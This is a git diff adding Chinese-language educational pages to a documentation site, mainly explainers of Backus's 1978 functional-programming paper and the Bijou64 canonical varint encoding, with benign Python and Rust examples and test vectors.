+| 2021+ | Catalog、TechDocs、K8s 插件等逐步 beta/GA；社区与商业托管（如 Roadie）兴起 |
+| 2022 | 晋升 CNCF Incubating |
+
+## 学到什么（零基础带走的 4 句话）
+
+1. **Backstage 解决的是「认知与协作税」**，不是替代你的 CI/CD。
+2. **Software Catalog 把「谁拥有、依赖谁」变成数据**，是平台工程的地基。
+3. **Templates 把组织标准executable 化**，比 wiki 更难被绕过。
+4. **插件化让门户可长成你想要的样子**——Spotify 开源的是「盖楼框架」，不是「精装样板间」。
+
+## 延伸阅读
+
+- 官宣原文：[Announcing Backstage](https://backstage.io/blog/2020/03/16/announcing-backstage/)
+- Spotify 工程博客：[What the heck is Backstage anyway?](https://engineering.atspotify.com/2020/03/what-the-heck-is-backstage-anyway)
+- 软件目录描述符：[Descriptor Format](https://backstage.io/docs/features/software-catalog/descriptor-format)
+- 模板功能：[Announcing Backstage Software Templates](https://backstage.io/blog/2020/08/05/announcing-backstage-software-templates/)
+- 仓库内项目速览：[[projects/backstage]]
+- 关联工具：[[kubernetes]]、[[jenkins]]、[[grafana]]、[[argocd]]
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/backus-fp-1978.md b/src/content/docs/papers/backus-fp-1978.md
new file mode 100644
index 000000000..f2855e173
--- /dev/null
+++ b/src/content/docs/papers/backus-fp-1978.md
@@ -0,0 +1,257 @@
+---
+title: Can Programming Be Liberated from the von Neumann Style? — Backus 1978 函数式编程宣言
+来源: https://www.cs.cmu.edu/~crary/819-f09/Backus78.pdf
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+1977 年，**John Backus** 在图灵奖演讲里问了一个后来影响半个多世纪的问题：**编程能不能从冯·诺依曼风格里解放出来？** 演讲全文以 *Can Programming Be Liberated from the von Neumann Style? A Functional Style and Its Algebra of Programs* 为题，发表于 *Communications of the ACM* 1978 年 8 月（Vol. 21, No. 8, pp. 613–641）。
+
+Backus 是 **FORTRAN** 的主要设计者，也是 **BNF（巴科斯-瑙尔范式）** 里那个 B 的来源。这篇论文因此格外刺眼：不是局外人批评主流，而是「造了主流语言的人」在图灵奖讲台上说——**我们三十年来走的那条路，又胖又弱，而且可能走错了方向。**
+
+日常类比：想象你在装修厨房。冯·诺依曼式编程像**每次只搬一块瓷砖**穿过一条窄门（CPU 与内存之间的「冯·诺依曼瓶颈」），还要在门两边反复登记「这块砖放在第几行第几列」。你真正想表达的是「铺好一整面墙」，但语言和机器逼你整天琢磨**地址、循环变量、赋值语句**。Backus 提议的函数式风格则像**用预制模块拼墙**：transpose（转置）、map（逐元素应用）、reduce（折叠）这些「组合子」像标准卡扣，先把小模块扣在一起，再扣成大模块——你思考的是**数据变换的形状**，而不是「下一个字该写进哪个格子」。
+
+论文不只是喊口号。它提出了一套假想语言 **FP（Functional Programming）**、一套可机械推导的 **程序代数（algebra of programs）**，以及一类叫 **AST（Applicative State Transition）** 的计算系统草图——把「有状态」和「无变量函数式」拆开，各取所长。
+
+## 历史背景
+
+| 时间 | 事件 |
+|------|------|
+| 1945 | 冯·诺依曼等人提出存储程序计算机架构 |
+| 1954–1957 | Backus 领导 IBM 团队开发 FORTRAN |
+| 1959 | Backus 在巴黎会议上首次用形式化记号描述语言语法（BNF 前身） |
+| 1960 | 参与 ALGOL 60 设计 |
+| 1977-10 | 西雅图 ACM 年会颁发图灵奖，Backus 发表演讲 |
+| 1978-08 | 扩展版论文发表于 CACM |
+
+同一时期的相关脉络：
+
+- **结构化编程**（Dijkstra 的 `goto` 批判、Bohm-Jacopini 定理）在收拾**控制流**的混乱，但 Backus 认为这没碰到根子——**字逐字（word-at-a-time）+ 赋值** 才是病根。
+- **Lisp / λ 演算** 已是「应用式模型」，但 Backus 批评纯 Lisp 常被埋在带赋值、带状态的扩展里，且 λ 替换的「无限自由」不利于形成**少量固定组合子 + 代数定律** 的编程习惯。
+- **APL**（Iverson）被 Backus 视为「跳出字逐字」的重要一步，但仍困在「表达式世界 vs 语句世界」的分裂里。
+
+## 为什么重要
+
+不理解这篇 1978 年的长文，下面这些事很难放在同一张地图上：
+
+- 为什么后来 Haskell、Clojure、Scala 总爱谈 **map / fold / compose**，而不只是「没有 `for` 循环」
+- 为什么 **MapReduce** 的 `map` + `reduce` 名字直接来自 Backus 论文里的 **α（ApplyToAll）** 和 **/（Insert）**
+- 为什么 **React** 早期宣传「声明式 UI」时，常被追溯到 FP 传统（数据流 + 组合），而不是 imperative DOM 修补
+- 为什么 PL 研究者会说 **「表达式有代数，语句没有」**——这是 Backus 对赋值语句分裂两个世界的经典诊断
+- 为什么 **数据流机、_reduction 机器_、某些 GPU 编程模型** 会被描述为「弱化冯·诺依曼瓶颈」——Backus 在文末明确把语言困境和**体系结构创新**绑在一起
+
+更重要的是：**Backus 把「证明程序正确」从逻辑谓词世界拉回到「程序自己的代数」**——像解一元一次方程那样，在**同一种记号**里变形程序，而不是另起一套公理语义。
+
+## 核心概念
+
+### 1. 三类计算模型（粗分类）
+
+Backus 用四个维度给模型画像：**数学基础是否简洁、是否历史敏感（有存储）、语义是状态转移还是归约、程序是否利于人类推理**。
+
+| 类别 | 例子 | 历史敏感？ | 语义 | 程序清晰度 |
+|------|------|------------|------|------------|
+| 简单操作模型 | 图灵机 | 是 | 状态转移（状态极简） | 差 |
+| **应用式模型** | λ 演算、纯 Lisp、**FP** | 否 | **归约**（无状态） | 好 |
+| **冯·诺依曼模型** | 典型 CPU + C/Fortran/Java | 是 | 状态转移（状态复杂） | 中等 |
+
+函数式编程在 Backus 笔下首先是**应用式模型**里的一种**纪律化**风格：故意不用 λ 的任意抽象，而只用**固定组合子（functional forms）**。
+
+### 2. 冯·诺依曼瓶颈与赋值语句
+
+硬件上，CPU 与存储之间有一条一次只能传**一个字**的通道——Backus 称之为 **von Neumann bottleneck**。更糟的是，这条瓶颈变成了**思维瓶颈**：程序员被迫用循环 + 下标 + 赋值，**一次改存储器里一个词**，才能做出「向量内积」「矩阵乘」这种概念上一步的事。
+
+**赋值语句**是语言侧的瓶颈：
+
+- 右边是**表达式世界**——有代数性质，算「值」
+- 左边及整条语句链是**语句世界**——围绕「改状态」，数学性质弱，结构化编程只能稍微收拾场面
+
+两边分裂后，**表达式里的组合子**就算再强，也只能产出「一个字」，还得靠语句世界拼成整体结果。
+
+### 3. 框架（framework）vs 可变部分（changeable parts）
+
+Algol 的 `for`、`while` 写死在语言**框架**里；用户自定义函数只是**可变部分**，表达力弱。Backus 梦想相反的结构：**极小框架 + 极强的可变部分**——可变部分靠**组合子**从旧函数拼出新函数，而不必改语言内核。
+
+冯·诺依曼语言之所以框架臃肿，是因为**语义与状态紧密耦合**：每个特性都要写进状态转移规则，于是 manual 越写越厚（他讽刺 DoD 语言标准可能上千页）。
+
+### 4. 组合子（functional forms / combining forms）
+
+FP 里函数都是 **object → object**，且 **⊥-preserving**（遇到未定义则传播未定义）。用组合子把函数粘起来，例如：
+
+| 记号 | 名称 | 含义（直观） |
+|------|------|----------------|
+| `f ∘ g` | composition | 先 `g` 后 `f` |
+| `[f, g, …]` | construction | 对同一输入并行得到多个结果，组成序列 |
+| `α f` | ApplyToAll | 对序列每个元素应用 `f` |
+| `/ f` | Insert | 用二元运算 `f` 从左到右「折叠」序列 |
+| `p → f, g` | condition | 谓词 `p` 为真用 `f`，否则 `g` |
+
+还有 `while`、`bu`（binary-to-unary）等。Backus 强调：组合子不是随手加的语法糖，而是**程序代数的运算符号**，要选那些**既有编程威力、又有漂亮代数定律** 的形式。
+
+### 5. 名篇对比：内积（inner product）
+
+**冯·诺依曼风格**（Algol 味伪代码）：
+
+```text
+c := 0
+for i := 1 step 1 until n do
+    c := c + a[i] * b[i]
+```
+
+Backus 列举的缺陷：隐式状态、非层次、必须** mentally execute** 才能懂、按字重复、长度 `n` 写死在程序里、参数名绑死 `a`/`b`、下标与 `for` 等「家务代码」散落各处。
+
+**FP 风格**（论文原式）：
+
+```text
+Def IP ≡ (/+) ∘ (α ×) ∘ trans
+```
+
+读法：对一对向量先 **transpose** 成逐元素对，再 **α ×** 逐对相乘，再 **/+** 用 `+` 折叠成标量。整个定义**无变量、无循环、无长度参数**，对任意等长向量即成立。
+
+### 6. 程序代数（algebra of programs）
+
+变量不是整数 `x`，而是**程序本身**；运算不是 `+` `×`，而是 **∘、α、/** 等组合子。定律例子（论文中的风格）：
+
+- **分配**：`distl ∘ [f, [g₁, …, gₙ]]` 与「对每个 `gᵢ` 先配对再并行」等价
+- **条件穿透组合**：`(p → f, g) ∘ h` 等价于 `p ∘ h → f ∘ h, g ∘ h`
+- **递归展开定理**：对满足 `f ≡ p → g; Q(f)` 的递归定义，可展开成无限（或有限）层级的条件组合，从而**证明 `!` 就是阶乘**
+
+这意味着：**证明 = 代数变形**，不必离开 FP 记号去讲一阶逻辑。
+
+### 7. AST：既要历史敏感，又不要字字改状态
+
+纯 FP 无存储，做不了「先运行程序 A 再运行程序 B，B 能读到 A 写的磁盘」这类事。Backus 的 **Applicative State Transition（AST）** 系统折中：
+
+- 底层用应用式语言写程序
+- **一次重大计算只发生一次状态转移**
+- 状态结构简单，转移规则简单
+
+这是后来 **I/O monad、STM、Effect 系统、纯函数 + 边界副作用** 等思路的史前化石——当时只有草图，没有成熟实现。
+
+## 实践案例
+
+### 案例 1：用 Python 模拟 FP 内积（理解 `/` 与 `α`）
+
+现代语言里没有 Backus 的 `trans` 原语，但可以用「转置成逐对 + map + reduce」体会论文 §5.2 的求值过程。对向量 `a = [1,2,3]`、`b = [6,5,4]`：
+
+```python
+from functools import reduce
+import operator
+
+def inner_product(a, b):
+  # trans: 把 <a,b> 看成列向量对，逐元素配对
+  pairs = list(zip(a, b))          # 等价于 α× 之前的结构
+  products = [x * y for x, y in pairs]  # α×
+  return reduce(operator.add, products, 0)  # /+
+
+assert inner_product([1, 2, 3], [6, 5, 4]) == 28
+```
+
+论文手算轨迹正是：`trans` → 得到 `<<1,6>, <2,5>, <3,4>>` → 逐对 `×` → `fold +` → `28`。注意：**没有索引变量 `i`，没有累加器 `c` 的逐步突变**——三个概念步骤对应三个组合段。
+
+若用 Haskell 更接近原文精神：
+
+```haskell
+ip :: Num a => [a] -> [a] -> a
+ip a b = foldr (+) 0 (zipWith (*) a b)
+-- 概念上:  foldr (+) 0 . map (uncurry (*)) . uncurry zip
+-- 即 /+ ∘ α× ∘（配对）
+```
+
+### 案例 2：阶乘的 FP 定义与代数证明思路
+
+论文 §11.3.1 用组合子写阶乘（无 `lambda`、无命名参数）：
+
+```text
+Def !     ≡ eq0 → 1; × ∘ [id, ! ∘ sub1]
+Def eq0   ≡ eq ∘ [id, 0]
+Def sub1  ≡ - ∘ [id, 1]
+```
+
+读法：若参数是 0 则返回 1；否则返回 `n * !(n-1)`——但全文**没有出现变量名 `n`**，只有 `id`、选择器和组合。
+
+对 `!:2` 的求值（论文逐步展开）：
+
+```text
+!:2
+→ (eq0 → 1; × ∘ [id, ! ∘ sub1]):2
+→ eq0:2 为假，走 × 分支
+→ ×:<2, !:1>
+→ ×:<2, 1>        -- 因为 !:1 最终归约到 1
+→ 2
+```
+
+**代数侧**：Backus 用递归定理把满足 `f ≡ eq0 → 1; × ∘ [id, f ∘ sub1]` 的 `f` 展开，证明它与数学阶乘一致——而不是对 `while` 循环做归纳。现代读者可以把这看成 **catamorphism / fold** 理论的先声：递归是组合子的**不动点**，证明是**展开定律**。
+
+### 案例 3：矩阵乘也是「四段组合管道」
+
+论文给出（读作从右向左应用）：
+
+```text
+Def MM ≡ (α α IP) ∘ (α distl) ∘ distr ∘ [1, trans ∘ 2]
+```
+
+没有三重 `for i, j, k`，而是：**构造参数对 → 分发 → 对每一行做 α → 每行内再做 α IP**。这是 Hughes 后来《Why Functional Programming Matters》里「拆 + 粘」的史前版本——Backus 用一行定义把「矩阵 = 行的序列」这一表示方式吃透。
+
+## 冯·诺依曼语言为何「又胖又弱」
+
+Backus 的批评可以收成一张检查表：
+
+1. **字逐字编程**继承自字逐字机器
+2. **语义与状态转移紧耦合** → 框架不得不巨大
+3. **表达式 / 语句分裂** → 组合子威力减半
+4. **命名与替换规则过重**（call-by-name/value、指针、下标）→ 阻碍无参数组合
+5. **缺乏可机械使用的代数** → 证明只能活在逻辑/公理语义里，与写程序的语言脱节
+
+他不是说 Fortran/C **不能**写正确软件，而是说：**每加一层「时髦特性」（强类型、结构化控制）只是在肥胖躯体上打补丁，没有换骨架。**
+
+## 与今天的关系
+
+| 当年概念 | 今日对应 |
+|----------|----------|
+| `α` ApplyToAll | `map`、SIMD、向量指令 |
+| `/` Insert | `reduce` / `fold`、MapReduce、`sum()` |
+| `∘` composition | 函数管道 `f . g`、`pipe`、方法链 |
+| 程序代数 | 等价变换、fusion laws、`shortcut fusion` |
+| 无变量函数 | 点自由风格、combinators、point-free Haskell |
+| AST 系统 | `IO` Monad、纯函数 + 显式效应边界 |
+| 冯·诺依曼瓶颈 | 内存墙、GPU 批量计算、数据流框架 |
+
+也要诚实看到局限：**Backus FP 从未成为工业主流语言**；λ 演算、类型论、Monad、范畴论接过了「可证明、可组合」的火炬。Hughes 1989 年说 Backus 的 FP「过于代数化，工业界看不懂」——但 **map/reduce 组合思想** 已经渗透进几乎每一门现代语言。
+
+## 常见误解
+
+**误解 1：「函数式 = 禁止赋值」**  
+Backus 反对的是**冯·诺依曼式赋值作为程序中心**，不是否认所有状态。AST 系统明确要**少量、清晰的状态转移**。
+
+**误解 2：「Backus 否定他创造的 Fortran」**  
+他肯定 Fortran 的历史贡献，但认为 **von Neumann 语言家族** 已到达表达力边际，继续堆特性不如寻找新框架。
+
+**误解 3：「FP 论文 = 没有递归」**  
+论文强调许多程序**非重复、非递归**地表达（如内积三步），但阶乘、矩阵乘仍用递归/组合不动点；关键是**证明靠代数展开**，不是靠盯着 `for` 循环脑补。
+
+**误解 4：「结构化编程已经解决了问题」**  
+Dijkstra 收拾的是 **goto 和语句世界**；Backus 收拾的是 **赋值 + 字逐字 + 表达式/语句分裂**——互补，不是替代。
+
+## 延伸阅读
+
+- John Backus, *Can Programming Be Liberated from the von Neumann Style?*, CACM 1978 — 本文主来源
+- John Hughes, *Why Functional Programming Matters*, 1989 — 工业界更能读懂的 FP 模块化论证
+- Edsger W. Dijkstra, *Go To Statement Considered Harmful*, 1968 — 结构化编程同一时代的平行批判
+- Kenneth Iverson, APL 系列 — Backus 在文中单独讨论的「部分解放」案例
+- John McCarthy, Lisp — 应用式模型对照组
+- 现代落地：Haskell `Prelude` 中的 `map`/`foldr`/`(.)` 即是组合子思想的后代
+
+## 小结
+
+Backus 在图灵奖演讲中完成了一次罕见的自我否定：**发明 FORTRAN 的人，号召同行离开冯·诺依曼语言家族。** 他用内积、阶乘、矩阵乘说明，**固定组合子 + 程序代数** 能让人类按「数据流形状」思考，而不是按「存储器地址 + 循环变量」思考。
+
+这篇论文或许过于理想化，但它把 **map、reduce、compose** 写进了计算文化的 DNA，也为后来的 **纯函数、效应系统、数据并行** 埋下了种子。若你只记住一句话：
+
+> **好的编程语言不该逼你通过一条字逐字的窄门去思考；它该给你可组合的模块，让你像代数一样变形和推理程序。**
+
+那就是 Backus 1978 年留给零基础读者最该带走的核心。
diff --git a/src/content/docs/papers/ben-sasson-stark-2018.md b/src/content/docs/papers/ben-sasson-stark-2018.md
index c23de5120..80d061f92 100644
--- a/src/content/docs/papers/ben-sasson-stark-2018.md
+++ b/src/content/docs/papers/ben-sasson-stark-2018.md
@@ -158,4 +158,5 @@ STARK 用 Merkle 树承诺多项式求值：
 - [[gabizon-plonk-2019]] —— PLONK: Permutations over Lagrange-bases for Oecumenical Noninteractive arguments of Knowledge
 - [[gentry-fhe-2009]] —— Gentry FHE — 全同态加密开山
 - [[yao-garbled-circuits-1986]] —— Yao 混淆电路 — 让两人合算函数却互不泄密
+- [[zk-snark-pinocchio-2013]] —— Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统
 
diff --git a/src/content/docs/papers/bijou64-varint.md b/src/content/docs/papers/bijou64-varint.md
new file mode 100644
index 000000000..41be7dc42
--- /dev/null
+++ b/src/content/docs/papers/bijou64-varint.md
@@ -0,0 +1,273 @@
+---
+title: Bijou64 — 结构式规范化的变长整数编码
+来源: 'Brooklyn Zelenka / Ink & Switch, "Bijou64: A variable-length integer encoding", tangent 文章 + bijou64/SPEC.md (Subduction CRDT 同步协议), 2026'
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快递单上的「重量档」
+
+寄快递时，计费往往不是「每个包裹都写满 8 位数字」，而是：
+
+- 轻的小件：面单上直接写 **2 kg**，一行搞定；
+- 稍重：写 **档位 + 超出部分**，比如「中档 + 52」表示从该档位起再加 52；
+- 最重：档位更高，附带的数字位数也更多。
+
+关键是：**同一种重量，柜台只会给你一种写法**。你不能把「0 公斤」写成 `00000000`，也不能用「多贴一张空白续页」把 5 写成 005——否则对账、验签、去重都会乱套。
+
+二进制协议里的 **变长整数（varint）** 也是同一逻辑：日志计数、消息长度、CRDT 元数据……多数时候是 **小数字**，偶尔才需要接近 `u64::MAX` 的大数。常见方案如 **LEB128**（Protobuf、WebAssembly、DWARF）用「每字节最高位 = 还有下一字节」来省空间，但 **同一个数可以有多种合法字节序列**——例如 `0` 可以是 `0x00`，也可以是 `0x80 0x00`、`0x80 0x80 0x00`……
+
+**Bijou64**（读作 bee-zoo-sixty-four，BIJective Offset U64）是 Ink & Switch 为 **Subduction CRDT 同步协议** 设计的 varint：**每个 `u64` 恰好对应唯一一种字节序列**（双射 / 结构式规范化），本意是修签名验证里的「非规范编码」漏洞， benchmark 上解码还比 LEB128 快约 **2–10 倍**。
+
+---
+
+## 是什么
+
+Bijou64 把 **无符号 64 位整数** 编码成 **1–9 字节** 的序列：
+
+| 首字节范围 | 总长度 | 含义 |
+|------------|--------|------|
+| `0x00`–`0xF7`（0–247） | 1 字节 | 首字节 **就是** 数值本身 |
+| `0xF8`–`0xFF`（248–255） | 2–9 字节 | 首字节是 **档位标签**，后面跟 big-endian **载荷** |
+
+多字节档位的解码公式：
+
+```text
+tier   = tag - 247          // 1..8
+value  = OFFSET[tier] + payload_be
+```
+
+编码时做逆运算：选合适 tier，发 `tag = 247 + tier`，再发 `(value - OFFSET[tier])` 的 big-endian 字节。
+
+与 **VARU64**（同 tag-byte 框架）的关键区别：VARU64 的 payload 是 **数值本身**，所以 `0x00`、`0xF8 0x00`、`0xF9 0x00 0x00` 都能解出 `0`；Bijou64 对每层 **减去累计偏移 OFFSET**，各档数值区间 **不相交**，过长编码在结构上 **不存在**。
+
+---
+
+## 为什么重要
+
+### 1. 安全：规范化不是「解码后再 if 一下」
+
+对 **签名过的原始字节**（证书、JWT、区块链交易、CRDT 同步块）来说，「两种字节串 → 同一个数」等于给攻击者 **换皮不重签** 的空间。LEB128 的标准做法是解码后 **拒绝非最短形式**——但这条 `if`：
+
+-  honest 数据的 round-trip 测试 **测不出来**；
+- 性能 benchmark **测不出来**；
+- 被删掉或移植遗漏时，**只有对抗输入** 才暴露。
+
+Bijou64 的策略是：**格式本身写死唯一表示**。解码器只需处理「缓冲区不够」和「tier 8 加法溢出」两种错误，**没有**「非规范编码」这类单独错误码——因为那种输入 **根本不是合法 bijou64**。
+
+### 2. 性能：首字节定长，不必扫 continuation bit
+
+LEB128 解码要 **逐字节看 MSB**，直到某字节最高位为 0；长度与数值大小相关，分支预测在随机大数上很吃亏。
+
+Bijou64 读 **第一个字节** 就知道还要读几个字节（查表 `tier = tag - 247`），payload 是 **连续 big-endian**，CPU 上常变成一次 load + `bswap`。Ink & Switch 在 Apple M2 Pro / AMD Zen 5 上测 **4096 个值的 batch**：均匀全 `u64` 分布时 bijou64 约 **0.75 ns/值**，LEB128 约 **7.3 ns/值**；小单字节值约 **2×**，大多数字节 LEB128 约 **8–10×**。
+
+### 3. 工程：可排序、可 hexdump
+
+编码后的 **字节序 lexicographic 顺序 = 数值顺序**，便于键值存储里 **不解码直接二分**。0–247 的常见情况：**hexdump 里一个字节就是值**，调试友好。
+
+---
+
+## 核心概念
+
+### 1. 档位（tier）与 OFFSET 表
+
+每个 tier 覆盖一段 **互不重叠** 的数值区间。OFFSET[t] = 「比 tier t 更短的编码所能表示的最大值 + 1」：
+
+| Tier | Tag | OFFSET（十进制） | 该档 value 范围（含端点） |
+|------|-----|------------------|---------------------------|
+| 0 | — | 0 | 0 – 247 |
+| 1 | `0xF8` | 248 | 248 – 503 |
+| 2 | `0xF9` | 504 | 504 – 66,039 |
+| 3 | `0xFA` | 66,040 | 66,040 – 16,843,255 |
+| … | … | … | … |
+| 8 | `0xFF` | 72,340,172,838,076,920 | … – `u64::MAX` |
+
+递推：`OFFSET[0]=0`，`OFFSET[1]=248`，`OFFSET[n]=OFFSET[n-1]+256^(n-1)`（n≥2）。hex 上可见规律：每层 offset 末尾都是 `…F8`，前面逐层多一个 `01` 前缀。
+
+### 2. 双射（bijective）= 规范化的结构保证
+
+- **编码**：若 `v < 248` → 单字节 `v`；否则唯一 tier `t` 使 `OFFSET[t] ≤ v < OFFSET[t+1]`，发 tag 与 payload。
+- **解码**：`tag < 248` → 值即 tag；否则 `value = OFFSET[tier]+payload`。
+- 用错 tier 编码会在 round-trip 或 content hash 上 **立刻暴露**（得到另一个数），而不是「静默接受过长形式」。
+
+### 3. Tier 8 的边界检查（不是规范化问题）
+
+9 字节形式（tag `0xFF` + 8 字节 payload）在算术上能表示 **略大于 `u64::MAX`** 的数。规范要求：若 `OFFSET[8]+payload` 溢出 `u64`，解码器 **必须报错**。这是 **范围上限**，不是「多种合法编码」——范围内每个数仍只有一种写法。
+
+### 4. 与 LEB128 / VARU64 / SQLite4 varint 的定位
+
+| 格式 | 首字节定长？ | 结构式唯一编码？ | 备注 |
+|------|--------------|------------------|------|
+| LEB128 | 否（扫 continuation） | 否 | 生态最大，Protobuf/Wasm |
+| VARU64 | 是 | 否（需拒绝过长） | bijou64 的 framing 祖先 |
+| SQLite4 varint | 是 | 仅前两档 offset | 3+ 档仍可能过长 |
+| **Bijou64** | 是 | **是** | Subduction / 需签名的 canonical wire |
+
+**权衡**：LEB128 升到 2 字节后可一直覆盖到 2¹⁴ 仍占 2 字节；bijou64 的 2 字节档只覆盖 **248–503**（约 256 个数）。若大量 ID 落在 500–16383，LEB128 更省 wire；若 **canonical + 大端 + 首字节定长** 是硬需求，bijou64 更合适。
+
+---
+
+## 手工走一遍：300 和 67,000
+
+**300**（tier 1）：
+
+1. 300 ≥ 248 → 多字节；`OFFSET[1]=248 ≤ 300 < 504=OFFSET[2]` → tier 1。
+2. Tag：`247+1=248` → `0xF8`。
+3. Payload：`300-248=52` → `0x34`。
+4.  wire：`F8 34`。注意 **`F8 00` 解出来是 248，不是 0**——0 只能是 `00`。
+
+**67,000**（tier 3，SPEC 例题）：
+
+1. `OFFSET[3]=66,040 ≤ 67,000 < OFFSET[4]` → tier 3。
+2. Tag：`0xFA`。
+3. Payload：`67,000-66,040=960` → 3 字节 BE `00 03 C0`。
+4.  wire：`FA 00 03 C0`（4 字节）。
+
+**1738**（原文图解）：3 字节总长（tag + 2 payload），offset `0x1F8`（504），payload 对应 `1738-504=1234`。
+
+---
+
+## 代码示例 1：Python 参考实现（教学用）
+
+下面约 40 行，逻辑与 [SPEC](https://github.com/inkandswitch/subduction/blob/main/bijou64/SPEC.md) 一致，便于零基础对照算法（生产环境请用官方 `bijou64` crate 或已审计移植）：
+
+```python
+OFFSET = [0, 248, 504, 66040, 16843256, 4311810552,
+          1103823438328, 282578800148984, 72340172838076920]
+U64_MAX = (1 << 64) - 1
+
+def encode_u64(v: int) -> bytes:
+    if v < 248:
+        return bytes([v])
+    for tier in range(1, 9):
+        lo, hi = OFFSET[tier], OFFSET[tier + 1] if tier < 8 else U64_MAX + 1
+        if lo <= v < hi:
+            tag = 247 + tier
+            payload = v - lo
+            width = tier
+            return bytes([tag]) + payload.to_bytes(width, "big")
+    raise ValueError("out of u64 range")
+
+def decode_bijou64(buf: bytes) -> tuple[int, int]:
+    if not buf:
+        raise ValueError("buffer too short")
+    tag = buf[0]
+    if tag < 248:
+        return tag, 1
+    tier = tag - 247
+    if len(buf) < 1 + tier:
+        raise ValueError("buffer too short")
+    payload = int.from_bytes(buf[1 : 1 + tier], "big")
+    value = OFFSET[tier] + payload
+    if value > U64_MAX:
+        raise ValueError("overflow")
+    return value, 1 + tier
+
+# SPEC 向量
+assert encode_u64(300) == bytes.fromhex("F8 34")
+assert decode_bijou64(bytes.fromhex("FA 00 03 C0"))[0] == 67_000
+```
+
+---
+
+## 代码示例 2：Rust 官方 API + 流式解析思路
+
+crates.io 上的 [`bijou64`](https://crates.io/crates/bijou64)（MIT / Apache-2.0）是 Subduction 的参考实现：
+
+```rust
+// 依赖: bijou64 = "0.2"
+use bijou64::{decode, encode, encoded_len, DecodeError};
+
+fn round_trip() {
+    let mut buf = Vec::new();
+    encode(300, &mut buf);
+    assert_eq!(buf, [0xF8, 0x34]);
+
+    let (value, consumed) = decode(&buf).unwrap();
+    assert_eq!(value, 300);
+    assert_eq!(consumed, 2);
+    assert_eq!(encoded_len(300), 2);
+}
+
+// 协议解析器：首字节定长 → 可 O(1) 跳过未知字段
+fn skip_one_field(data: &[u8]) -> Result<&[u8], DecodeError> {
+    if data.is_empty() {
+        return Err(DecodeError::BufferTooShort);
+    }
+    let tag = data[0];
+    let total = if tag < 248 { 1 } else { 1 + (tag - 247) as usize };
+    if data.len() < total {
+        return Err(DecodeError::BufferTooShort);
+    }
+    Ok(&data[total..])
+}
+```
+
+Kafka 等场景也有 Java 封装（`Bijou64Serializer`）：计数器、序号、小 ID 高频 topic 上，相对固定 8 字节 `Long` 可显著省 egress——但 **producer/consumer 必须成对使用**，且语义是 **无符号 u64**（有符号负数需继续用 `LongSerializer`）。
+
+---
+
+## 测试向量（实现互操作时应覆盖）
+
+| Value | Hex |
+|-------|-----|
+| 0 | `00` |
+| 42 | `2A` |
+| 247 | `F7` |
+| 248 | `F8 00` |
+| 300 | `F8 34` |
+| 504 | `F9 00 00` |
+| 67,000 | `FA 00 03 C0` |
+| `u64::MAX` | `FF FE FE FE FE FE FE FE 07` |
+
+**必须报错**：空缓冲；`F9 00`（tier 2 缺 payload）；`FF FF FF FF FF FF FF FF FF`（tier 8 溢出）。
+
+---
+
+## 何时考虑采用 / 何时继续用 LEB128
+
+**更适合 bijou64：**
+
+- 协议对 **原始字节做签名或 content hash**，且不能依赖「每个解码点都写对 canonical check」；
+- 需要 **首字节知道长度** 的 streaming / 零拷贝跳过；
+- 数值 **大量 < 248** 或需要 **大端 + 字节序可排序**；
+- 新项目，愿意引入较新、battle-test 尚少于 LEB128 的格式。
+
+**继续 LEB128 更合理：**
+
+- 已有 Protobuf / Wasm / DWARF 生态，改 wire 成本极高；
+- 需要 **非规范过长编码** 做链接器占位（Wasm/DWARF 的 deliberate overlong）；
+- 大量标识落在 **500–16383** 且极度在意 **2 字节覆盖宽度**；
+- 依赖 **SIMD 批量解码** 整条 buffer——社区讨论指出 LEB128 的固定 continuation 位位置更利于 speculative SIMD；bijou64 首字节 8 路分支对 **单值解码** 友好，对 **并行扫窗口** 未必最优。
+
+---
+
+## 性能与体积（原文 benchmark 摘要）
+
+- **解码**：相对 LEB128（不含 canonical 检查）约 2–10×；含 canonical 检查差距更大；bijou64 延迟 CDF 更「竖」，方差小。
+- **编码**：多数分布与 LEB128 相当或更快；248–65535 区间 LEB128 约快 1.24×。
+- **体积**： realistic 工作负载下与 LEB128 **相差几个百分点** 量级，不是主要卖点；卖点是 **canonical + 定长首字节 + 解码速度**。
+
+---
+
+## 生态与延伸阅读
+
+- 原文：[Bijou64: A variable-length integer encoding](https://www.inkandswitch.com/tangents/bijou64/)（Ink & Switch Tangents）
+- 规范：[inkandswitch/subduction — bijou64/SPEC.md](https://github.com/inkandswitch/subduction/blob/main/bijou64/SPEC.md)（CC BY-SA 4.0）
+- Rust crate：[docs.rs/bijou64](https://docs.rs/bijou64/latest/bijou64/)
+- 应用背景：Subduction CRDT 同步协议；规范中规划 **bijou32 / bijou128** 同族扩展
+- 对比阅读：LEB128、[VARU64](https://github.com/AljoschaMeyer/varu64-rs)、SQLite4 varint、Git pack offset encoding
+
+---
+
+## 小结
+
+Bijou64 把「**每个整数只有一种写法**」从 **解码后的校验** 下沉到 **编码几何**：tag-byte 定长 + 分层 offset，使双射成为格式不变量。它Born 于 CRDT 同步里的签名安全，却附带更快的单值解码路径。零基础记住三句即可：
+
+1. **0–247**：一个字节就是数本身。  
+2. **248–255**：标签；后面几个字节是 **大端 (value − OFFSET)**。  
+3. **不能** 用多字节形式「凑」出已在更短档出现过的数——这是与 LEB128 根本不同的安全与语义契约。
+
+若你在设计 **新的、要签名或哈希的 binary protocol**，值得把 bijou64 和 LEB128+canonical 放在同一张对比表里；若只是读 Protobuf，知道「业界另一种更严格的 varint 长什么样」也足够扩展视野。
diff --git a/src/content/docs/papers/black-scholes-1973.md b/src/content/docs/papers/black-scholes-1973.md
new file mode 100644
index 000000000..dd5f1eec6
--- /dev/null
+++ b/src/content/docs/papers/black-scholes-1973.md
@@ -0,0 +1,243 @@
+---
+title: Black-Scholes 1973 — 用「对冲复制」给期权和公司债定价
+来源: https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+## 是什么
+
